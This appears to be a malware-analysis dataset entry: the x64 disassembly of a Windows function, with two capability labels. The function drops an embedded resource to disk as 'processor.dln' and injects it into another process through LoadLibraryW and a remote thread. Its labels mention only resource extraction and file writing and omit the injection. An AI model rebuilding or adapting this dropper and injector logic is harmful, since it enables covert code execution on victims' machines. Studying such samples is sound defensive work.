Function at 0x140001000
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x270
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov ebp, ecx
xor r13d, r13d
xor ecx, ecx
mov esi, r13d
mov r14, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r8d, 0x104
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp eax, 0x104
jne 0x14000106e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x14000126d
lea rcx, [rsp + 0x50]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test eax, eax
je 0x14000126d
lea r12, [0x14001ee00]
mov rcx, r12
lea r8, str.processor.dln
lea rdx, [rsp + 0x50]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
test rax, rax
je 0x14000126d
mov rbx, qword [0x14001f008]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000126d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x14000126d
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], r13d
xor r8d, r8d
mov edx, 0x2000000
mov dword [rsp + 0x20], 2
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000126d
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], r13d
mov r8d, r15d
mov qword [rsp + 0x20], r13
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x40], esi
jbe 0x14000126d
cmp ebp, 2
jge 0x140001160
mov eax, 1
jmp 0x140001273
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x140001181
call fcn.140005aa0
mov r8d, eax
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
cmp word [r12 + rcx*2 + 2], r13w
lea rcx, [rcx + 1]
jne 0x140001190
lea rbx, [rcx*2 + 2]
mov qword [rsp + 0x48], r13
mov r8, rbx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
xor edx, edx
mov rcx, rsi
call qword [0x14001f5b8]
mov rdi, rax
test rax, rax
je 0x14000125e
lea rax, [rsp + 0x48]
mov r9, rbx
mov r8, r12
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rsi
call qword [0x14001f5a8]
test eax, eax
je 0x14000125e
lea rcx, [0x14001add0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x14000125e
lea rdx, str.LoadLibraryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001233
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jmp 0x140001273
mov qword [rsp + 0x30], r13
mov r9, rax
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rsi
call qword [0x14001f5b0]
test rax, rax
jne 0x14000125e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jmp 0x140001273
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400022d0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret